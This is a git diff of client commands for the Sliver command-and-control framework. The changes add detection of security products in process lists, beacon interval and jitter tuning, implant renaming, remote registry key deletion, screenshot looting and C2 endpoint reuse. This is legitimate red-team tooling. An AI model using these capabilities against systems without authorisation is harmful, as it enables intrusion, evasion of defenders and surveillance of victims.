con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,7 +99,6 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pidFilter := ctx.Flags.Int("pid")
|
||||
exeFilter := ctx.Flags.String("exe")
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
@@ -98,13 +110,13 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
|
||||
fallthrough
|
||||
default:
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
|
||||
}
|
||||
|
||||
cmdLine := ctx.Flags.Bool("print-cmdline")
|
||||
@@ -118,23 +130,36 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
procRow(tw, proc, cmdLine, con)
|
||||
row := procRow(tw, proc, cmdLine, con)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "pid", Mode: table.Asc},
|
||||
{Name: "ppid", Mode: table.Asc},
|
||||
{Name: "pid", Mode: table.AscNumeric},
|
||||
{Name: "ppid", Mode: table.AscNumeric},
|
||||
})
|
||||
|
||||
if !interactive {
|
||||
overflow = true
|
||||
}
|
||||
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
|
||||
}
|
||||
|
||||
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
products := []string{}
|
||||
for _, proc := range ps.Processes {
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
products = append(products, secTool[1])
|
||||
}
|
||||
}
|
||||
return products
|
||||
}
|
||||
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = modifyColor
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
if session != nil && proc.Pid == session.PID {
|
||||
color = console.Green
|
||||
@@ -157,6 +182,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
@@ -165,6 +191,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
@@ -185,6 +212,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
}
|
||||
} else {
|
||||
@@ -192,11 +220,12 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
return row
|
||||
}
|
||||
|
||||
// GetPIDByName - Get a PID by name from the active session
|
||||
|
||||
@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Pid: int32(pid),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Terminate failed: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if terminated.Response != nil && terminated.Response.Async {
|
||||
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Reconfig
|
||||
=========
|
||||
|
||||
Commands used to reconfigure beacon/session times and metadata
|
||||
@@ -0,0 +1,96 @@
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ReconfigCmd - Reconfigure metadata about a sessions
|
||||
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var err error
|
||||
var reconnectInterval time.Duration
|
||||
if ctx.Flags.String("reconnect-interval") != "" {
|
||||
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
var beaconInterval time.Duration
|
||||
var beaconJitter time.Duration
|
||||
if beacon != nil {
|
||||
if ctx.Flags.String("beacon-interval") != "" {
|
||||
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if ctx.Flags.String("beacon-jitter") != "" {
|
||||
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
|
||||
return
|
||||
}
|
||||
if beaconInterval == 0 && beaconJitter != 0 {
|
||||
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
|
||||
ReconnectInterval: int64(reconnectInterval),
|
||||
BeaconInterval: int64(beaconInterval),
|
||||
BeaconJitter: int64(beaconJitter),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if reconfig.Response != nil && reconfig.Response.Async {
|
||||
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, reconfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Reconfigured beacon\n")
|
||||
})
|
||||
con.PrintAsyncResponse(reconfig.Response)
|
||||
} else {
|
||||
con.PrintInfof("Reconfiguration complete\n")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// RecnameCmd - Reconfigure metadata about a sessions
|
||||
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Option to change the agent name
|
||||
name := ctx.Flags.String("name")
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var beaconID string
|
||||
var sessionID string
|
||||
if beacon != nil {
|
||||
beaconID = beacon.ID
|
||||
} else if session != nil {
|
||||
sessionID = session.ID
|
||||
}
|
||||
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
|
||||
SessionID: sessionID,
|
||||
BeaconID: beaconID,
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Renamed implant to %s\n", name)
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
}
|
||||
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCreateKey - Print the results of the crate key command
|
||||
// PrintCreateKey - Print the results of the create key command
|
||||
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if createKey.Response != nil && createKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", createKey.Response.Err)
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
package registry
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RegDeleteKeyCmd - Remove a Windows registry key
|
||||
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Registry operations can only target Windows\n")
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Flags.String("hostname")
|
||||
hive := ctx.Flags.String("hive")
|
||||
if err := checkHive(hive); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
regPath := ctx.Args.String("registry-path")
|
||||
if regPath == "" {
|
||||
con.PrintErrorf("You must provide a path\n")
|
||||
return
|
||||
}
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
|
||||
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
|
||||
Hive: hive,
|
||||
Path: finalPath,
|
||||
Key: key,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if deleteKey.Response != nil && deleteKey.Response.Async {
|
||||
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
})
|
||||
con.PrintAsyncResponse(deleteKey.Response)
|
||||
} else {
|
||||
PrintDeleteKey(deleteKey, finalPath, key, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDeleteKey - Print the results of the delete key command
|
||||
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
|
||||
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
|
||||
con.PrintErrorf("%s", deleteKey.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Key removed at %s\\%s", regPath, key)
|
||||
}
|
||||
@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
saveTo := ctx.Flags.String("save")
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
if screenshot.Response != nil && screenshot.Response.Async {
|
||||
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
if saveLoot {
|
||||
if len(screenshot.Data) > 0 {
|
||||
LootScreenshot(screenshot, lootName, hostname, con)
|
||||
} else {
|
||||
con.PrintErrorf("Cannot loot screenshot because it contained no data")
|
||||
}
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(screenshot.Response)
|
||||
} else {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
if saveLoot {
|
||||
if len(screenshot.Data) > 0 {
|
||||
LootScreenshot(screenshot, lootName, hostname, con)
|
||||
} else {
|
||||
con.PrintErrorf("Cannot loot screenshot because it contained no data")
|
||||
}
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
|
||||
}
|
||||
|
||||
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
|
||||
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
|
||||
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
}
|
||||
|
||||
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
|
||||
timeNow := time.Now().UTC()
|
||||
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
|
||||
|
||||
if lootName == "" {
|
||||
lootName = screenshotFileName
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CloseSessionCmd - Close an interactive session but do not kill the remote process
|
||||
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Get the active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
con.PrintErrorf("No active session\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Close the session
|
||||
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
|
||||
}
|
||||
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
return nil, ErrNoSessions
|
||||
}
|
||||
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []int
|
||||
var keys []string
|
||||
for _, session := range sessions.Sessions {
|
||||
keys = append(keys, int(session.ID))
|
||||
keys = append(keys, session.ID)
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
session := sessionsMap[uint32(key)]
|
||||
session := sessionsMap[key]
|
||||
if onlyAlive && session.IsDead {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return sessionsMap[uint32(keys[index])], nil
|
||||
return sessionsMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
|
||||
@@ -20,6 +20,7 @@ package sessions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
@@ -42,6 +43,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
// Parse C2 Flags
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
@@ -86,9 +88,63 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
// No flags, parse the current beacon's ActiveC2 instead
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return
|
||||
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
|
||||
c2url, err := url.Parse(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
switch c2url.Scheme {
|
||||
case "mtls":
|
||||
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
case "wg":
|
||||
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
case "https":
|
||||
fallthrough
|
||||
case "http":
|
||||
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
case "dns":
|
||||
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
case "namedpipe":
|
||||
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
case "tcppivot":
|
||||
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
default:
|
||||
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
openSession := &sliverpb.OpenSession{
|
||||
|
||||
@@ -40,8 +40,8 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session #%d ...", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
err = kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -1,69 +0,0 @@
|
||||
package sessions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SessionsReconfigCmd - Reconfigure metadata about a sessions
|
||||
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Option to change the agent name
|
||||
name := ctx.Flags.String("name")
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
con.PrintErrorf("Name must be in alphanumeric only\n")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Option to change the reconnect interval
|
||||
reconnect := ctx.Flags.Int("reconnect")
|
||||
|
||||
// Option to change the reconnect interval
|
||||
poll := ctx.Flags.Int("poll")
|
||||
|
||||
oldSession := con.ActiveTarget.GetSession()
|
||||
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
SessionID: oldSession.ID,
|
||||
Name: name,
|
||||
ReconnectInterval: int64(reconnect) * int64(time.Second),
|
||||
PollInterval: int64(poll) * int64(time.Second),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
}
|
||||
@@ -21,6 +21,8 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
@@ -30,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// SessionsCmd - Display/interact with sessions
|
||||
@@ -49,12 +52,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if killAll {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
